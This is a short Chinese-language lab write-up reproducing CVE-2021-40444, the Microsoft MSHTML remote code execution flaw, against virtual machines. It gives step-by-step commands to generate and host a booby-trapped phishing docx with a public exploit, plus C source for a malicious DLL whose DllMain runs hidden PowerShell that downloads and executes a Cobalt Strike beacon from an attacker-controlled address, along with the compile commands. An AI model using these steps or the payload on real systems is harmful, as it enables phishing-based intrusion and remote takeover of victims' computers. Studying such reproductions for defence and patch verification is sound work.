0x01 前言
该漏洞为Microsoft MSHTML远程代码执行漏洞,危险级别很高,执行简单
环境搭建:windows10(20H2) kali
0x02 正文
Step1:
下载安装lcab,因为后续的复现要用到cab文件(一种win下的压缩包执行文件),又因为lcab的官网下载不了了,故通过Debian源下载.
wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz //wget+url 获取链接文件
tar zxvf lcab_1.0b12.orig.tar.gz //tar命令解压,随带一提压缩为zcvf
cd lcab-1.0b12 //进入文件夹
./configure //命令,生成Makefile
make //从Makefile中读取命令,进行编译
sudo make install //从Makefile读取命令,进行安装
Step2:
https://github.com/lockedbyte/CVE-2021-40444下载exp,生成钓鱼文件(触发器)
python3 exploit.py generate test/calc.dll http://192.168.190.129:80
生成的docx文件在/out中,发送文件至靶机,并开启http服务
python3 exploit.py host 80
Step3:
靶机环境处理,确保Activex控件开启(发现一般默认开启),确保防火墙关闭。发送docx文件至靶机后,双击点开文件即执行代码
弹出计算机说明代码成功执行
Step4:
通过C2工具进行上线,这里用CS,msf也行不过麻烦一点。CS生成传送命令,将beacon传到靶机上。
写C备着,准备生成dll,如果是msfvenom的话可以直接生成dll,这部分代码在reproduce有
#include <windows.h>
void exec(void) {
system("powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://你的ip:你的端口/a'))"");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
生成dll,然后如之前一样生成docx钓鱼文件,发到靶机上
sudo apt-get install gcc-mingw-w64
i686-w64-mingw32-gcc -shared 1.c -o 1.dll
需要注意的是,因为httpd和cs服务端端口有冲突,需要调整,不过我嫌麻烦,直接两台虚拟机解决了
最后CS上成功上机
0x03 总结
该POC的攻击过程:
1.客户打开Docx文件
2.document.xml.rels中存储了指向的恶意html网站链接
3.浏览器会自动打开网站链接
4.HTML中的JavaScript包含一个指向CAB文件的对象和一个指向INF文件的iframe.
5.CAB文件已打开,INF文件存储在%TEMP%Low目录中
6.由于CAB中存在路径遍历(ZipSlip)漏洞,因此可以将INF存储在%TEMP%中
7.使用“.cpl:”指令打开INF文件,导致通过rundll32侧面加载INF文件
注1:随着windows的更新,该漏洞被修复,本人亲试21H2已修复,20H2还未修复
注2:该过程只是简单复现,还未涉及到免杀,也没涉及漏洞的分析,接下来可能会继续更新,敬请期待
参考:https://www.freebuf.com/vuls/288712.html
原文始发于微信公众号(Th0r安全):CVE-2021-40444 Microsoft MSHTML远程代码执行漏洞复现
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论